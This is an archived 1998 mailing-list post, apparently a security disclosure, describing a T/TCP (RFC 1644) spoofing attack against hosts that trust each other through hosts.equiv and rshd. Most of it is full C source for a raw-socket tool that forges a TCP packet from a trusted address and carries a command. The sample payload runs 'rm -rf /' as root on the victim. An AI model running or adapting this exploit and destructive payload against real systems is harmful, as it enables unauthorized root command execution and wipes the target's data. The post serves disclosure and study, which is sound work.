Example of RFC-1644 attack

From: Vasim Valejev (vasimat_private)
Date: Tue Apr 07 1998 - 06:26:41 PDT

  • Next message: Paul Szabo: "Re: Symlink problem (Tested only on a Digital Unix 4.0)"

    Hi !
    
    Good news : SYN-flood attack with TTCP-packets will have null
     effects at most systems . But attacks on some tcp-services
     can be successful :
    
    Simple network : computer 'victim' and computer 'master' with
     link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and
     'shell stream ... rshd' in /etc/inetd.conf . Both computers have
     t/tcp (rfc-1644) support .
    
    1. Master does any t/tcp connections to victim . Victim's
     cache[master].cc sets to value > 0 .
    
    ... Time passed ...
    
    2. Hacker runs command :
    
    hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'
    
    Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim'
     with source address of 'master' . CC value in packet may be
     any > cache[master].cc (0xffffffff for example) .
    
    3. Hacker's packet received and victim sends SYN+ACK packet to
     master . Preparing to run rshd with hacker's data ('rm -rf /'
     as root) .
    
    ... 10-50 ms passed ...
    
    4. Victim's packet received and master sends RST packet .
     Too late , sorry ...
    
    
    
    FreeBSD version of 1644 (use ip addresses only) :
    
    /* 1644 by Vasim V.                                              */
    /* Please , don't use this program for any destructive targets ! */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NEED_NEWCC 0x01
    #define NEED_FIN 0x02
    #define NEED_PUSH 0x04
    #define NEED_TSTAMP 0x08
    
    struct fhdr {
            u_long          saddr;
            u_long          daddr;
            u_char          zero;
            u_char          protocol;
            u_short         length;
    };
    
    unsigned long cc = 0x7fffff00;
    
    u_short in_cksum(u_short *data,u_short length)
    {
            long value;
            u_short i;
    
            value = 0;
            for(i=0; i < (length >> 1); i++)
                    value+=data[i];
    
            if (length & 1)
                    value+=*(((u_char *) data) + length - 1);
    
            value=(value & 65535) + (value >> 16);
    
            return(~value);
    }
    
    void
    sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
    {
            struct ip       *mip;
            struct tcphdr   *mtcp;
            struct fhdr     *fhdr;
            int             totlen;
            u_char          buf[9000];
            struct timeval  tp;
            struct sockaddr_in sin;
    
            gettimeofday(&tp, NULL);
            srandom(tp.tv_usec);
            if (cc == 0)
                    cc = tp.tv_sec;
            totlen = sizeof(struct ip) + sizeof(struct tcphdr);
    
            mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
            mtcp->th_sport = htons(512 + (random() % 512));
            mtcp->th_dport = htons(port);
            mtcp->th_seq = htonl(random());
            mtcp->th_ack = 0;
            mtcp->th_x2 = 0;
            mtcp->th_flags = TH_SYN;
            if (options & NEED_FIN)
                    mtcp->th_flags |= TH_FIN;
            if (options & NEED_PUSH)
                    mtcp->th_flags |= TH_PUSH;
            mtcp->th_win = htons(17244);
            mtcp->th_urp = 0;
            mtcp->th_sum = 0;
    
            buf[totlen++] = TCPOPT_MAXSEG;
            buf[totlen++] = TCPOLEN_MAXSEG;
            *((u_short *) &buf[totlen]) = htons(1460);
            totlen += sizeof(u_short);
            if (options & NEED_TSTAMP) {
                    *((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
                            TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = 0;
                    totlen += sizeof(u_long);
            }
            buf[totlen++] = TCPOPT_NOP;
            buf[totlen++] = TCPOPT_NOP;
            if (options & NEED_NEWCC)
                    buf[totlen++] = TCPOPT_CCNEW;
            else
                    buf[totlen++] = TCPOPT_CC;
            buf[totlen++] = TCPOLEN_CC;
            *((u_long *) &buf[totlen]) = htonl(cc);
            cc++;
            totlen += sizeof(u_long);
    
            mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
            if (data && length)
                    memcpy(buf + totlen, data, length);
            fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
            fhdr->saddr = saddr;
            fhdr->daddr = daddr;
            fhdr->zero = 0;
            fhdr->protocol = IPPROTO_TCP;
            fhdr->length = htons(totlen - sizeof(struct ip) + length);
            mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);
    
            mip = (struct ip *) buf;
            mip->ip_len = totlen + length;
            mip->ip_v = 4;
            mip->ip_hl = 5;
            mip->ip_tos = 0;
            mip->ip_id = htons(random() % 32768);
            mip->ip_off = IP_DF;
            mip->ip_ttl = 0x40;
            mip->ip_p = IPPROTO_TCP;
            mip->ip_sum = 0;
            mip->ip_src.s_addr = saddr;
            mip->ip_dst.s_addr = daddr;
            mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));
    
            memset((void *) &sin, 0, sizeof(struct sockaddr_in));
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = daddr;
            sin.sin_port = htons(port);
            if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
                    perror("sendto");
    }
    
    void
    main (int argc, char **argv)
    {
            u_long          saddr;
            u_long          daddr;
            int             port;
            int             sock;
            u_char          buf[8192];
            int             len;
            int             i;
            u_char          *p;
            u_char          c;
    
            if (argc != 5) {
                    fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
                    exit(1);
            }
            saddr = inet_addr(argv[1]);
            daddr = inet_addr(argv[2]);
            port = atoi(argv[3]);
    
            sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
            if (sock < 0) {
                    perror("raw socket");
                    exit(2);
            }
            i = 1;
            setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
            p = buf;
            len = 0;
            for(i = 0; i < strlen(argv[4]); i++) {
                    c = argv[4][i];
                    if (c == '\\') {
                            i++;
                            c = argv[4][i];
                            switch (c) {
                                    case '0':
                                            *p++ = '\0';
                                            break;
                                    case 'r':
                                            *p++ = '\r';
                                            break;
                                    case 'n':
                                            *p++ = '\n';
                                            break;
                                    default:
                                            *p++ = c;
                                            break;
                            }
                    } else
                            *p++ = c;
                    len++;
            }
            sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
    }
    
    Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE)
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:48:14 PDT